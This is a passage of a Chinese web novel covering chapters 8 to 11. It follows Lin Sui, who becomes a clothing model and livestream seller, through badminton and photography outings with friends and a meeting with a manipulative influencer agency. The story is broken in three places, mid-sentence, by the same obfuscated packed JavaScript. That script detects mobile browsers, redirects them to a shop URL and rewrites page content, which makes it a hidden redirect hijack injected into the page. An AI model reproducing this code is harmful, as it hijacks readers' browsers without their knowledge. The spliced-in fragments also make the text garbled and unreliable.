“对了，昨天有件事是我闹乌龙了。”金鑫给每个人都发完球拍后绕到肖潜身旁，揽住他的肩膀：“我今天必须得还我肖师兄一个清白——他二十九岁，热爱科研，单身独居，没有对象。” 菲儿眨了眨眼睛，瞬间明白了什么。 “都怪我瞎脑补，这才误会了……”金鑫说。 原来一周前肖潜请人上门维修吊灯，来的师傅是一位年轻女性。 吊灯的结构比较复杂，零零碎碎的装饰很多，怕修灯时袖口碰掉什么东西，师傅便将工装脱了下来，穿着短袖工作。 肖潜去储物间帮师傅找配件时，金鑫正巧来送猕猴桃。穿着便装的师傅帮忙开门，这才被金鑫误以为是肖潜的“女朋友”。 “我倒是没什么，只是人家小师傅看起来也就刚刚毕业的样子，一下子多了个比自己大七八岁的老‘男朋友’，得气到报警了吧？”肖潜云淡风轻抚弄着球拍上的线。 “好了好了，说开了就不提了，打球吧！”金鑫说。 不难看出，这四个人里真正会打球的只有肖潜和菲儿，但场上的组合却是肖潜和林穗对打，菲儿和金鑫对打。 “金老板，怎么这么快就不行了？别光顾着开店啊，你这体力还得加强！”菲儿可没留情面，她不断变换着角度，引得金鑫气喘吁吁满场跑。 而隔壁场地上的肖潜和林穗就温馨和谐了许多，两个人打的是慢节奏球，每一拍都以“让对方接住”为目的。 “肖老师，你跟我打不尽兴吧？要不换换？”林穗说。 “好啊。”肖潜点点头。 当肖潜和菲儿对打时，金鑫和林穗才见识到什么叫做“专业级水平”——每一道弧线都那样饱满，每一次杀球都那样刺激。 不过论起技巧，还是菲儿更胜一筹，因而在大战了多个会合后赢了肖潜。 “同学，我感觉你打得挺好的，正好我球友走了，我可以和你打一局吗？”林穗眼前出现了一个男生，大学在校生的模样。 听到“打得挺好”这个评价，金鑫噗嗤一声笑了出来。 “我……”林穗还在犹豫要不要接着打一局，就见肖潜走了过来。 肖潜见这男生手中的球拍线有些松了，便将自己的球拍调转了方向，以手柄处递与他。 男生没有接拍，目光在肖潜身上停留了片刻便走开了。 肖潜只好无奈笑笑。 玩了一个多小时，四个人都感受到前所未有的放松。本来各有各的疲劳，现在好像也一扫而空，恢复了这个年纪的年轻人应该有的精气神。 “有点饿了，一起去吃点东西吧！”金鑫提议道。 “好啊好啊，我想吃火锅，你们可以吗？”菲儿开心道。 “我都行。”林穗笑笑。 “我请客吧，正好我带的本科生投稿被采用了，想找个机会庆祝一下来着。”肖潜说。 “不用，我们还是……” 林穗刚要推辞，金鑫便道：“让他请！就算没什么事情要庆祝，他至少也得报答一下我昨天扛他回家之恩。” 菲儿选了间附近评价最高的店，一行人便有说有笑地前去觅食了。 不得不说，被簇拥在朋友们之中的感觉真的很好，这是被封锁在格子间时的她无比向往却触碰不到的。她内心很珍视这一刻，甚至希望这样的瞬间可以再多些。 “昨天回去之后我又把手机放在三脚架上拍了几张自己，还是很僵。”林穗又同金鑫继续起了昨天的话题，“依据我用控制变量法得出的结论，应该不是距离和打光的问题……” “那你有没有试过不看镜头呢？有时看了镜头反而容易‘僵’，因为眼神很难控制。”金鑫说。 “在聊拍照吗？”肖潜走到他们身边。 “嗯，我在和金老师请教怎么样才能拍得自然些，不那么‘木’。”林穗说。 “其实看不看镜头并不是问题的重点，重点是‘互动感’。”肖潜说，“看镜头是和镜头外的人互动，不看镜头是和镜头内的某样东西互动。想清楚每张摄影作品要表达的是怎样的互动感，效果就会灵动起来。绝大多数新人之所以被说‘木’，核心原因在于看镜头时注意力不放在和摄影师的交互中，而是只关注自己表现得好不好；不看镜头时又时时刻刻记挂着镜头的位置。这样很难没有‘摆拍感’。” 林穗一回想，好像是这么个道理。昨天黎诗然让她看镜头时，因为和对方比较陌生又担心表现不好被吐槽，她整个人非常紧张，从头到脚都很紧绷。而拍摄看向侧边地面的照片时，她怕自己转身的角度不对，又忍不住用余光确认镜头的具体方位。 说着，肖潜从背包中取出一台相机：“正好今天带了新换的镜头，要不要借教堂前的景试试看？” 金鑫大惊：“你怎么还随身带着这个？” 肖潜笑而不语。他当然是有备而来。 其实昨晚在车上他并没有睡死过去，而是处于半梦半醒的状态。朦胧中，他听见了金鑫说他有女朋友以及和林穗关于拍照的讨论，只是不太确定这是现实还是梦境。今早醒来后他头顶冰敷的冰袋给金鑫打了通电话一问，顿时炸了锅，然后以揪住对方领口般的姿态要他一定把人约出来，当场澄清个彻底。 经肖潜这么一说，林穗的心理负担顿时轻了很多——原来所谓“镜头感”并不是生来没有就绝缘的玄学，而是有办法通过努力和技巧提高的。 “第一张，先看我。”肖潜让林穗用一个放松的姿态侧倚在教堂前的长椅上，找准了镜头的位置后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634470|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又冲林穗招招手：“阳光很好对不对？冲我挥手笑一笑吧！” 一开始林穗还有些放不开，可是菲儿总在一旁不厌其烦地鼓励，金鑫总是笑呵呵地看着她，摄影师肖潜十分耐心地帮她调整各种细节，她也慢慢进入了状态，信心越来越充沛了。 “师兄真是不地道，我都不知道他这么会拍人像。”金鑫摇着头佯装生气道，“上回我女朋友过生日想请他帮忙拍照，他想都不想就把我给拒绝了，说是只会拍风景没拍过人。” “哈哈哈哈都说了是你女朋友了，要讨另一半欢心，当然得自己勤学苦练啊，干嘛光指望着人家肖师兄的技术？”菲儿好像找到了笑声的开关，今天不管金鑫说什么她都觉得很搞笑。 天公作美，光影越来越合宜，四个人在教堂古朴幽雅的景致前轮换着互相拍，还突发奇想录了一些搞怪视频。 菲儿对肖潜的摄影技术赞许有加，但看到金鑫给她的夺命抓拍时，无奈评价道：“这下知道你为什么不敢自己给女朋友拍照了，多拍几次高低得分手。” “我们四个合张影吧！”金老板提议道。 说着，他把手机交给了路过的阿姨，四人的第一张大合影便诞生了。 回家后他们建了个群，名叫“世界人民大团结万岁”，并在群里分享今天的照片。 菲儿洗完澡后躺在床上，翻看着这些照片，想选出一套九宫格发朋友圈。 见林穗吹完头发，她立马拍拍床面，为她腾了个位置。 林穗躺到了她身边，两人就开始了闺蜜夜话。 “我看那个肖潜人真是不错，高高帅帅的，情智商都过关。名校博士，会摄影会做饭。今天打球的时候他的衣服不小心撩起来，我好像还看到好几块腹肌……”菲儿拽着被角看着林穗，一脸起哄的笑容。 “菲儿你对他感兴趣啊？” 菲儿原地翻了个白眼：“拜托，他是很优秀，但完全不是我的菜好么，我喜欢阳光开朗爱运动的狗狗型，肖潜看起来也太稳重了。我是想说，你难道没有感觉他……对了，你们是怎么认识的啊？” 见她好奇，林穗便把两人相识的经过复述给她听。 谁料菲儿听完一拍大腿，态度一百八十度大转变： “不行！绝对不行！他一个心理咨询师怎么能……”她斩钉截铁地给刚刚还夸赞连连的对象判了死刑，“我就说事出反常必有妖，一个社交形象完美的男人还常年单身，肯定是哪里有问题……这还真是条铁律，他果真不是什么好人！” 林穗先天就对男女情愫之类的事十分钝感。她并没有懂菲儿的所指，而是思考了一阵子，以为自己懂了：“我明白你的意思了。其实一开始我也很疑惑，想说真的有谁会想和自己的前客户交朋友么？不会一见面就又想起工作吗？但后来我渐渐感觉，他可能只是把给别人提供咨询服务当成主业的调剂，对待咨询师这份工作也是充满兴趣的，不是苦大仇深的，所以才不介意和我做朋友吧。” 菲儿摇了摇头，对自家闺蜜未来的感情生活充满了担忧。可转念又一想，或许单纯的心性正是她学得快、干得快、心无旁骛的原因，也就没再继续说下去。 菲儿翻了个身，拿起手机将群名从“世界人民大团结万岁”改为了“莫伸手，伸手必被抓”。 可没过多久，便听见手机传来“叮”一声的提示音——肖潜把群名改为了“早睡早起，天天向上”。 9. Chapter 9 次日清晨，林穗是在菲儿的惊叫声中醒来的。 “小穗小穗快看！我火了！”菲儿捧着手机，激动地坐在林穗身旁：“哦不，是你，你火了！” 林穗接过手机，发现菲儿把昨天肖潜镜头下的自己传了几张到小红书上，一夜过去，点赞已经四百多了。评论区也很热闹，许多人在夸“小姐姐真美”，也有不少人在问衣服的链接。 点赞、收藏和评论的数量每分钟都在大幅度上涨，每刷新一次都能蹦出新的小红点，不出意外的话她们是中了算法推送的大奖了。现在才早上七点半，估计到不了中午点赞数就能破千。 “菲儿，你介意把我们工厂的淘宝店名隐晦地在评论区提一下吗？”好巧不巧，林穗那天穿的正是工厂里拿回来的样衣之一。 “当然没问题啦，帮你引引流。你是明天晚上直播对吗？我去预告一下。”菲儿说。 “对，明天晚上。谢谢你啦菲儿。” “咱们之间就别说这些了。” 事实证明，服装品类在小红书的引流效果还是很强劲的。照片上林穗穿的浅绿色套装突然激增了四十多笔订单，店里的浏览量一下子翻了好几倍，其他款式的销量也被带动，连厂里设计师去年设计的薄毛呢外套都被人扒出来拍下了一件。 林穗到达工厂时，南叔正在和工友们讨论。他以为是自家店铺被人盯上了恶搞，担心得不得了。 林穗向他说明了事情的来龙去脉并将那条小红书动态拿给他看，他才安下心来。 “这个软件上这么多人啊……”南叔欣然慨叹，“还是你们年轻人懂这些啊。” 林穗总觉得南叔这感慨中有一丝怅然。订单激增，他无疑是开心的，因为看到了电商业务被盘活的希望。可面对小红书这种年轻人都在玩、自己却全然陌生的网络平台，他又有种“被时代抛弃”的焦虑。 “推广贴只是起个锦上添花的作用，归根究底还是厂里做出来的衣服好，师傅们的水平高。”林穗说。 厂长听了，脸上的表情顿时宽慰了许多。 直至林穗开播前，因她的照片而来店铺下单的人还是络绎不绝，她的同款销量直冲三百件，成为这间刚起步的淘宝店铺内首件“爆款”。库存都被卖光了，工厂不得已又开了五十件预售，加班加点安排生产。回头一看，原帖的点赞收藏数均已超过八千，大有破万的趋势。 一日之间她就在服装厂里出了名，上到厂长助理下到食堂阿姨都知道厂里来了这么号人物，还一度从“外聘的模特”被传成了“来帮忙推广的网红”。 连黎诗然也好奇地看了看那篇帖子。虽然她依旧皱着眉头，一副不甚满意的模样，可总算是对妆容部分表达了肯定：“妆不错，自己化的？” “朋友化的。”林穗说。 “可以。”黎诗然淡淡道。 对于首次直播，林穗既紧张又期待。紧张是因为虽然以前看得多，可自己上手毕竟是第一次。期待是因为她在事前做了相当充足的准备，对今晚每一款新品的细节都烂熟于心；而小红书突如其来的爆火给了她一定的信心和流量基础，至少今晚应该是不用担心一个人都没有了。 七点整，林穗正式上播，她心中时刻谨记着肖潜那段关于“互动感”的分析。带着这样的意识，她开始一件一件介绍新品。 一开始难免有点“背课文”的感觉，可是随着直播间人气上升，在线观看人数和弹幕越来越多，她也逐渐如鱼得水起来，全情投入地和观众们互动着。 一晚上三小时整，25件新品总共卖出去七十四单，营业额三万多元。和大店、网红店自然没法比，但对于这样一个向来疏于经营网络店铺、且直播模块停摆了将近半年的工厂来说，刚一开局就做成这样已经是意外之喜了。 南叔高兴得亲自端果盘到展厅来给林穗和小黎吃。 “功臣啊小林，你可是咱们厂电商业务的大功臣！”南叔笑着赞赏道，“第一次就有三万，再过一阵子，就变三十万啦。” 黎诗然听了这话，将刚叉起来咬了一小口的香瓜扔进了垃圾桶，转身走开了。 林穗注意到今晚有两个账号很奇怪，很多款商品刚一上架，他们就你争我抢地抢着拍第一单。其中一个账号屡屡“得手”，以至于今晚这七十四单里有七八单都是它贡献的。 回家一问才知道，原来今晚的“抢首单大王”是金老板，和他拼手速拼得你死我活的是菲儿的小号。 “我说今晚是我们家小穗首播，咱们作为娘家人得支持支持。金老板说他肯定来，还扬言要跟我比比谁能抢到第一单。”菲儿说。 “谢谢你们呀，我真是感动得要哭了。”林穗动容道。 “你这也太容易满足了！”菲儿笑道。 “对了菲儿，你们感觉我今天表现得如何？”林穗虚心求教道。 菲儿想了想，拿出手机备忘录说：“你三个小时的直播我都追完了，优缺点也做了一些总结。总体来说前半个小时有点没放开，介绍衣服时的语气像是在念提词器，该不会是写逐字稿了吧？” “很明显吗？”林穗不好意思地笑笑。 “有那么一点点。”菲儿也笑了笑，而后继续分析道：“不过自从有两个人问到14号连衣裙的尺寸时，你的状态就自然多了，开启了和弹幕轻松聊天的模式。这样就很好……” 菲儿以自己的记录为纲要，和她一起分析讨论了半个小时。 林穗常觉得有菲儿这样的挚友是她人生中最幸运的事。 “对了菲儿，你发的那条小红书引流效果很棒，帮工厂清掉了不少库存，我也拿到了一笔提成。我转你一半。”林穗从厂长那里领到两千元，所以微信上转了一千元给菲儿。 “我也没做什么，只是发了条帖子而已。这是你辛苦拍摄的功劳，不用分给我的。”菲儿说。 “才不是呢，你的贡献可大了。要是没有你的鼓励，我压根拍不出来这么好的效果。而且如果不是你把照片发出去，我也压根想不到这种引流方式。”林穗笑着劝说道，“咱们俩说好要一起致富的，你怎么连一千块都要和我计较？” “好吧好吧，一起致富。” 林穗当然不会忘记另外一位“功臣”。 菲儿睡下后，她也关上了客厅的灯，裹着被子躺在柔软的沙发上。 她在微信通讯录里找到了肖潜，转了五百元给他，并说：“谢谢肖老师那天帮忙拍的照片，厂里的同款因此卖出去很多。” 肖潜一直没收她的转账，过了很久方才回复：“谢谢你帮我试新镜头。” 受到菲儿的启发，林穗觉得她们之前砸在手里那七件货品也是可以挂在小红书上重新卖出去的，她自己来当模特，这样能更快吸引到买家。 “吊牌都剪掉了，已经不能算全新的了，咱们就把价格定成购入价的六折吧？”林穗提议道，“反正事已至此，能卖出去一件就多一件的边际收益。” “好吧好吧，听你的，回血一点算一点。”菲儿正在她的化妆箱前给眼影大点兵，思考着一会儿要为林穗设计一个怎样的妆容。 看着这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634471|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服，林穗又回想起和Mo姐有关的那段往事。骗人是不对的，如果时光倒流，想必她和菲儿都不会再那么做。但她相信，有朝一日当她的知识储备和审美水准都到达一定的高度后，她还是有机会再次进入到这些高端客户群体的视野。只是到时，她要问心无愧地赚这个钱。 林穗的五官是精致锐利挂的，脸型却是见肉不见骨的温柔鹅蛋脸，攻击性与柔美无害相互中和，自有独一份的气质。 不过头小脸小的人也会有她的烦恼——她脸上完全挂不住肉，稍微长胖点面部就会显得浮肿、老态，瘦下来才会显现出美丽。这也是为什么她瘦了二十多斤后颜值便天翻地覆的最主要原因。 菲儿一面替她上妆，一面道：“我找准最适合你的风格了——港风大美女。这两天我把评论区夸你的评论都看了个遍，发现很多人说你是淡颜版祖贤，眉眼间甚至有几分靖雯年轻时的影子。” 这种既直白又夸张的赞美让林穗承受不住：“人家只是好心客气一下而已，不能信吧。虽然我感情上很希望它是真的，可我的理智告诉我，靖雯和祖贤年轻时长得也完全不像，怎么可能有一个人同时像她们俩呢？” “那有什么不可能？像祖贤的轮廓加靖雯的眉眼喽。”随着菲儿一双巧手将唇膏晕染均匀，林穗的妆容便完成了。 菲儿用手机摄影，林穗穿着这七件衣服分别拍了图。 虽说设备和摄影技巧没有肖潜那么强，可菲儿的化妆水平和穿搭审美自是一流，成片传到网上，也收获了不少点赞。价格够低加上模特图好看，七件衣服一天之内便全部成功出手了。 就这样，林穗工作日在淘宝上直播卖货，双休日穿着样衣去室外拍摄一些宣传图。直播间的新粉老粉都越来越多，小红书上的关注者也一天天增长着。她的兼职工资加提成，第一个月就到手了一万多，第二个月翻了一倍，到手两万七。第三个月还没结束，不过肉眼可见会比第二个月更高。 她在工厂里也开始被人尊重。厂里的叔叔阿姨一开始对她不甚熟悉，现在在园区见到她都会笑着朝她打招呼，亲切地喊一声“咱们厂的大美女”。食堂阿姨打红豆汤时也会尽量多帮她捞些豆子，并且和蔼可亲地说：“‘大美女’‘大美女’的，就是要体格够大才是美女。来，多吃一点！” 甚至黎诗然对她的态度也发生了微妙的变化——在拍摄照片时，她也偶尔和林穗交流起了意见。 林穗觉得这份工作的性价比比做财务高太多，就算不谈钱，至少现在的自己是越活越自信的。 “亲爱的我跟你说，你可能要做好准备当一个网红了！”这天晚上她一到家，菲儿便神神秘秘对她说。 “怎么了？又有别的服装品牌来找吗？”虽说南厂长没跟她签过什么“竞业协议”，她目前也只是个兼职员工，但林穗认为既然自己已经拿了厂里的薪水，就不该再接任何竞品的推广。因而每次有别的服装品牌找到她，她都是直接拒绝的。 “不是，是有业内资深的MCN公司问你要不要签约。”菲儿说。 “哪一家啊？”林穗对这个领域还很陌生。 “瑰丽文化。抖音上很红的美妆博主‘南瓜豆豆’，B站舞蹈区的第一名‘我是小A呀’，还有穿搭博主‘兔子洞的爱丽丝’都是他们旗下的KOL。”菲儿解释道，“小穗，作为你现任经纪人的我帮你做了点功课，你看完咱们再交流交流想法。” 这是次机会吗？还是张吃了会拉肚子的大饼呢？ 林穗一边研读着菲儿整理好的资料，一边思索着。 10. Chapter 10 瑰丽文化派来与林穗接洽的人是聂浔。 林穗把见面地点定在了金老板的咖啡馆，菲儿临时有些事，所以得晚点来。 聂浔从头到脚打扮得“一丝不苟”，身上每一处能下工夫的细枝末节都精心设计过，一副商务精英男的腔调。 由于地理位置的缘故，这里的客人大多是交通大学的学生。出于职业本能，聂浔从坐下来的那一刻起就开始左顾右盼，扫视着擦身而过的年轻男女们，心想着“名校高材生”这个标签也是个卖点。 “林小姐，你好。”他面无表情朝林穗所在的方向抬抬下颌，用以替代打招呼：“您的朋……哦不，是您的现任经纪人许女士想必已经将我们的基本情况和您同步过了吧，那今天就不用再浪费时间了。” 他拿出一只ipad，将事先准备好的PPT放到林穗面前：“我们开门见山，直接说说把你签进来后的具体赛道吧。先看看你的男搭档。” 屏幕上是一张充满“人工美学”的脸，但不得不说这位男生是帅气的，五官比一般人精致很多。 聂浔接着道：“你们在校期间就彼此中意了，只不过因为家境悬殊，不得不在你父母的逼迫下分了手。过了好几年，你快三十岁了，没房没车没存款，虽说是名校硕士毕业可事业上依旧郁郁不得志，去人民公园相亲也屡屡因为年龄大被挖苦。你正打算从上海回老家，算法却突然把你的动态推送给了他，他即刻找到你，重新向你表白。你这才发现，原来当初那个一无所有的穷小子如今已经通过自媒体财务自由了。你深受感动的同时既自卑又愧疚，于是发帖问网友要不要答应。最终，你还是在网友们的鼓励和祝福中和他破镜重圆……” 不得不说聂浔的信念感还挺强，说剧本就说剧本，遣词用句和语气整得跟真实发生过似的。 而林穗听完后只感到一阵生理性的不适，甚至想把刚刚下咽的咖啡给吐出来。 “所以你打算签我去做‘情侣博主’？”出于个人素养，她还是保持着礼貌。 聂浔皱起眉头，仿佛是在说“怎么会有人问这么不专业的问题”。 “你要这么理解也不能算错。但我只能说自媒体赛道一天一种新玩儿法，我更倾向于把你们定位成以情侣身份登场的讲故事博主。”聂浔慢条斯理道，“传统的情侣博主能有什么持续变现的能力呢？男的再帅女的再美，也只不过是重复又单调地分享一些所谓的‘甜蜜日常’，久而久之谁都会看腻。讲故事博主可不同，情节完整，动线曲折，关注他们就像在看一部电视剧，观众永远有追下去的欲望。而如果操刀的人愿意接着写，那这出戏就永远有得唱。” “所以你需要的不是一个拥有自身真实特点的‘人’，而是一名负责出演你剧本的演员？”林穗道。 聂浔轻抬抬唇：“谁说当‘演员’就不需要自身真实特点了？你三十岁了，至今单身，名校硕士，目前无业，这些不都是你的特点吗？哪一条是假的呢？” 林穗手中的手机突然震了两下，是菲儿的信息： “先别急着答应，又有两家MCN公司找到我了，对比一下再说。我下地铁了，马上就到。” 见林穗低头看手机，聂浔有些不满，十分刻意地清了清嗓子，道：“你还有什么问题要问吗？” “确实有一个逻辑上的问题。”林穗语气平静道，“您说‘我’父母当初是因为家境悬殊而逼迫我们分手的，都用上‘悬殊’这两个字了，也就是说‘我’的家境非常好。那为什么‘我’还会一无所有，甚至没有父母接济的存款呢？” 聂浔脸上流露出既惊讶又不屑的表情，作为“资深专业人士”，他不敢相信居然有人质疑他的构思。 可林穗指出的也确实是逻辑上的硬伤，他无法正面辩驳，于是只得抬高了音调，严肃道：“林小姐，请你尊重专业。” 其实交流至此，林穗早已看透他们不是同一路人，也不适合合作，可心中反叛精神不死的小人蹦来蹦去，对方越是蛮横强势，她就越有兴趣回怼。 “好的，明白。”她微笑说，“我还有一个问题，想听听您作为专业人士的见解。” “嗯。”聂浔轻哼了一声。 “您刚才说‘只要操刀的人愿意写，这出戏就永远有得唱’。我想知道就这个剧本而言，再往下写，方向是什么？” “要视具体……”聂浔刚打算卖弄一番，像以往面对公司比自己低阶的员工时一样释放说教欲，便被林穗打断了。 “总感觉以您的喜好，会把剧情编得狗血一点。比如他向‘我’告白是为了报复我，其实他根本不爱‘我’，只想等‘我’全心全意信任他之后把‘我’给甩了……”林穗佯作若有所思状，“这样写话题度倒是有了，就是可能会因为太像古早虐恋小说而被人看穿是假的。但话又说回来，被看穿是假的说不定也是转机，毕竟和网友玩猫捉老鼠的证伪游戏同样让人觉得‘像是在追电视剧’，同样‘永远有追下去的欲望’。” 以子之矛，攻子之盾，完美。 “你……”聂浔脸上红一阵白一阵的。他最破防的甚至不是林穗调侃的态度，而是他原本真的考虑过这么写。 聂浔翘起二郎腿，抱着双臂，愠怒过后依然不改傲慢的本色：“林小姐，或许你认为美貌可以让你手握无数选择，但虚长你几岁的我不得不提醒一句，比你更年轻的漂亮女孩儿后浪推前浪，一批又一批涌入市面上，你的机会并不是什么时候都有的。我要是你，一定拼命抓住和瑰丽文化这种业内龙头公司合作的机会。” 说着，他往桌上撂下一张名片，道：“要是还打算谈一谈的话，明天下午四点名片上的公司地址见，可以带上你那个姓许的小姐妹。我还有事，先告辞了。” 这时菲儿才刚刚狂奔进咖啡馆，她只来得及和聂浔打了声招呼后者便走了。 “聊得怎么样？”跑了一路，又热又渴，菲儿从桌上拿起林穗的水杯便一饮而尽。 林穗刚打算向她复述刚才的事情，便听菲儿兴致勃勃对她道：“小穗，你知道我刚才去做了什么吗？” 见菲儿一脸笑容，两颊染着红晕，便知道是件好事情。 林穗笑问：“什么事？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634472|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 菲儿压低声音道：“前阵子不是有个都柏林的学校给我下了offer嘛，为了让自己不打退堂鼓，我刚刚去把留位费给交了。交完留位费就可以向学校申请保留学位、推迟到后年再入学了，也算是了了我一桩心事。” 菲儿又叹了口气，接着道：“只是今年留位费又涨了，交完这笔钱，身上剩的真的只够吃喝拉撒了。” 林穗拿起手机，给菲儿转了一万八千元钱。 “哎？”菲儿看向她。 “上个月的销售提成，你的那一半。”林穗说。 “生意越来越好了呀！恭喜恭喜！”菲儿笑道。 由于直播时间段以外的订单大多是菲儿帮她用小红书账号引流而来的，所以林穗依然保持着把每个月的提成收入分给菲儿一半的做法。 上个月的钱要过两天才能到账，她便先用自己的存款垫付给菲儿，好让她手里有粮，心中不慌。 “哎呀都怪我，刚才一激动把话题给岔开了。咱们说回正事——你和瑰丽文化的聂经理谈得怎么样啦？”菲儿一双亮亮的眼睛看向她，目光中蕴含着期待。 林穗明白，菲儿之所以将入学时间推迟了一整年，归根究底是因为对她们现在的赚钱速度和营收方式不抱有十足的信心。所以菲儿很想促成这次和MCN公司的合作，毕竟背靠平台就是有了倚杖，再怎么也比单打独斗强。 念及此，林穗的想法又有了一丝变化。 两人讨论了将近一小时，最终还是决定明天前去赴约，再给瑰丽文化一个机会——说不定除了当“演员”，还能谈出来其他合作模式呢？ 次日，一到瑰丽文化，公司前台就引她们去事先预留好的洽谈室里等待。 走在从前台到洽谈室的路上，两人听见一阵激烈的争吵声，一个女生尖锐的哭喊仿佛被封印在了走廊尽头的重重毛玻璃之后。 菲儿从小就好奇心旺盛，借着去茶水间倒水的由头，她悄摸摸在这间公司转了一大圈，然后带回来一肚子八卦。 “你知道刚刚为什么会有女生在哭吗？那是个宠物博主，跟公司的合同到期了，可是舍不得公司派给她的‘搭档狗’，非要买走。公司不让，就产生了纠纷。”菲儿说，“这年头究竟还有什么是真的啊，几十万粉丝的‘宠物博主’居然连‘宠物’都不是自己的。这MCN公司怎么一股子横店味儿，产出的尽是些演出来的电视剧。” “这下你明白我昨天的感受了吧……”林穗说。 “楼下也有人在闹呢——一个妈妈带着她女儿。公司签了她女儿后是往艺考博主的方向孵化的，谁知道签约后女儿成天忙着拍这个录那个，最后自己艺考落榜了。原本成绩还挺好的，真可惜……” “我怎么越来越觉得和这样的公司谈合作是在与虎谋皮呢？”林穗叹道。 这时，洽谈室的门被敲了几下。 “林小姐，这位就是宋洋，有劳你们一起等待片刻，聂经理开完会立马就来。”前台小姐姐又引来了一个人。 林穗一抬头，看到了昨天聂浔在PPT上展示的那张脸。 11. Chapter 11 宋洋也是个富二代，身家数倍于金鑫的那种。 他的家庭坐拥若干国内一线女鞋品牌，是瑰丽文化的深度合作对象，即最大的金主爸爸。 这里上上下下的人无不对他赔着笑脸和十二万分的耐心，生怕哪点照顾不周。 “你就是他们昨天跟我提的那个女生？”宋洋抱着手臂，上下打量着林穗，悠悠道：“可以，比前几个漂亮，总算是没再糊弄事儿。” 菲儿向来见不得男人对女孩子的外貌指指点点，差点按耐不住，一下子挂了脸。 不一会儿，一个看上去和宋洋差不多岁数的男孩子拖着大包小包进了洽谈室。他又黑又瘦，汗水将T恤的前襟沾湿了大半。 宋洋一脸不悦，嫌弃道：“回去取身衣服怎么还要这么久，我不是允许你打车往返了么？算了，跟我去试衣间吧。” 小助理忙赔礼道歉，唯唯诺诺“服侍”宋洋去换衣服了。 “大清亡的那天是没通知这个人么？连网红都还没当上，就已经开始摆顶流明星的架子了，至于么？”他们出去后，菲儿翻了个白眼。 而事实证明，至于。因为有聂浔这种热衷于当奴才的人。 宋洋面前的聂浔和林穗面前的聂浔完全是两个人。他在林穗面前有多傲慢，在宋洋面前就有多卑微。 “您可以说说看对我们运营团队的剧本还有什么建议，我们好立即调整改进。”聂浔的左右手自行十指紧扣，一脸诚恳的微笑，完全不再是昨天那个翘着二郎腿教训人的“爹味男”了。 宋洋一边没正形地转动着屁股下的人体工学椅，一边漫不经心道：“我想了想，还是觉得逆袭打脸的剧情爽归爽，可总归有点老土。现在不是更流行那个什么……‘纯爱战士’吗？我想要这个人设。” “您……可以具体说说吗？”聂浔微微弓着腰，脖子再往前伸几厘米，就快能给宋洋磕个头了。 “很简单啊。我们两个是情侣，她身患绝症，我不离不弃，白天在公司上班，晚上送外卖养活她。”宋洋指了指林穗。 菲儿瞪了他一眼，露出了一个“真是晦气”的表情。 然而大少爷本人依旧沉溺在自己的“绝美爱情故事”当中，丝毫不在意任何人的反馈。 “因为我既努力又帅气还重感情，在我边工作边送外卖的过程当中有很多非常富有的女人开始中意我，愿意给我很多钱。但为了坚守做人的底线，我把她们通通拒绝了……最终，医院表示我的爱人是误诊，她什么事也没有，不用再看病了。于是我送外卖积累的大额财富没处可花，就用它开了一间公司。没想到公司蒸蒸日上，我很快就变成了全市最有钱的人……” 看着聂浔有口难言的表情，林穗明白，这是自己唯一一次和他达成共识。 林穗和菲儿最终“逃”出了这个与正常人气场不合的地方。 两人来到汉堡王点了两杯饮料一份薯条，分而食之。 “我刚刚还在他们公司楼下看见了一辆红色法拉利。都说选择这一款的人十有八｜九内心极度自恋，我猜这就是那位大少爷的车。”菲儿笑得直拍大腿，“在了解了他本人的智慧之后，我甚至开始不羡慕他的家境了。” 正值晚饭时间段，出餐口不停有外卖骑手来取餐。看着他们急匆匆跑进跑出的身影，林穗心头一触。 “怎么啦？”看到刚刚还和自己一起大笑着吐槽的林穗突然缄默不语，菲儿便放下手中的薯条问道。 “没什么。我就是在想家财万贯的大少爷想靠扮演一个身扛重担的普通人来取乐，可对于普通人来说，这就是我们每天都要面对的真实生活。”林穗感慨，“算了，不说这些了。话说不是还有两家杭州的MCN公司吗？你和他们接触得怎么样？” 菲儿撇着嘴摇摇头：“天下乌鸦一般黑。他们的奇招怪招不比瑰丽文化少，但商务资源还远不如人家，实在是没有合作的必要。” “那就都算啦……”林穗无奈笑笑，“他们那套可能确实不适合我。比起那些，我倒宁愿花更多心思在工厂的业务上。” 菲儿低下头去，捏着吸管在饮料中搅来搅去。直到杯子中的冰块全部融化，她才咬咬下唇，略显为难地对林穗开口道：“可是咱们小红书的粉丝量卡在十三万这个数字已经很久了。穿搭博主这个赛道，十万粉是一个坎儿，五十万粉是一个坎儿，一百万粉是一个坎儿。倒不是说不能遇到瓶颈，只是这个瓶颈期来得也太早了……” 林穗十分明白菲 